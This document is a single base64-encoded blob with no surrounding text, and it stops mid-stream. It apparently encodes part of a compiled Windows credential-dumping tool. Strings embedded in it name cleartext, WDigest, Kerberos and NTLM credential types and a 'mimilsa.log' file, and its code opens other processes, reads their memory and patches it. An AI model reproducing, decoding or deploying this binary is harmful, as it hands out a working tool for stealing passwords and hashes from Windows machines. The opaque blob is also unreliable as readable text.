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D///9nAC0Ax4UU////TgBUAMeFGP///08AVwDHhRz///9GAAAAM8CJhSD///9qElhmiUW0ahJYZolFto2FXP7//4lFuGoOWGaJRbxqDlhmiUW+jYWE/v//iUXAahBYZolFxGoQWGaJRcaNhaz+//+JRchqJlhmiUXMaiZYZolFzo2F1P7//4lF0GoiWGaJRdRqIlhmiUXWjYX8/v//iUXYagFoAAAAEI1F3FBqALhBQUFB/9CFwA+MFQQAAI1F4FCLRQiDwCBQaAAAABD/ddy4RERERP/QhcAPjOgDAACNRfBQi0UI/3AYaAAAABD/deC4RUVFRf/QhcAPjLwDAACDZfwA6weLRfxAiUX8g338Bg+DfwIAAGtF/BiDpAU4////AGtF/BiDpAUo////AGtF/BiLTfyJjAUk////a0X8GMeEBTT///+AAAAAg338AHQ6a0X8GI2EBSj///9Qa0X8GI2EBTj///9Qi0X8jUTFrFD/dfC4Q0NDQ//Qa038GImEDTT////pygEAAI1F+FBqFf918LhGRkZG/9BrTfwYiYQNNP///2tF/BiDvAU0////AA+MnQEAAItF+A+2gMMAAACFwHQPi0X4D7eAkAAAAIlF7OsEg2XsAItF7IPAKGtN/BiJhA0o////a0X8GP+0BSj///9qQLhNTU1N/9CJRehrRfwYi03oiYwFOP///4N96AAPhDABAACLRfgPtoDAAAAAhcB0TotF+A+3gIAAAACD+BB1P4tF+IO4hAAAAAB0M2tF/BiLhAU4////xkAhAWoQi0X4/7CEAAAAa0X8GIuEBTj///+DwBBQuExMTEz/0IPEDItF+A+2gMEAAACFwHRKi0X4D7eAiAAAAIP4EHU7i0X4g7iMAAAAAHQva0X8GIuEBTj////GQCABahCLRfj/sIwAAABrRfwY/7QFOP///7hMTExM/9CDxAyLRfgPtoDDAAAAhcB0botF+A+3gJAAAACFwHRgi0X4g7iUAAAAAHRUa0X8GIuEBTj////GQCMBa0X8GIuEBTj///+LTfgPt4mQAAAAiUgki0X4D7eAkAAAAFCLRfj/sJQAAABrRfwYi4QFOP///4PAKFC4TExMTP/Qg8QMahX/dfi4R0dHR//Qa0X8GIO8BTT///8AfC1rRfwYg7wFOP///wB0H2tF/BiDvAUo////AHQRa0X8GI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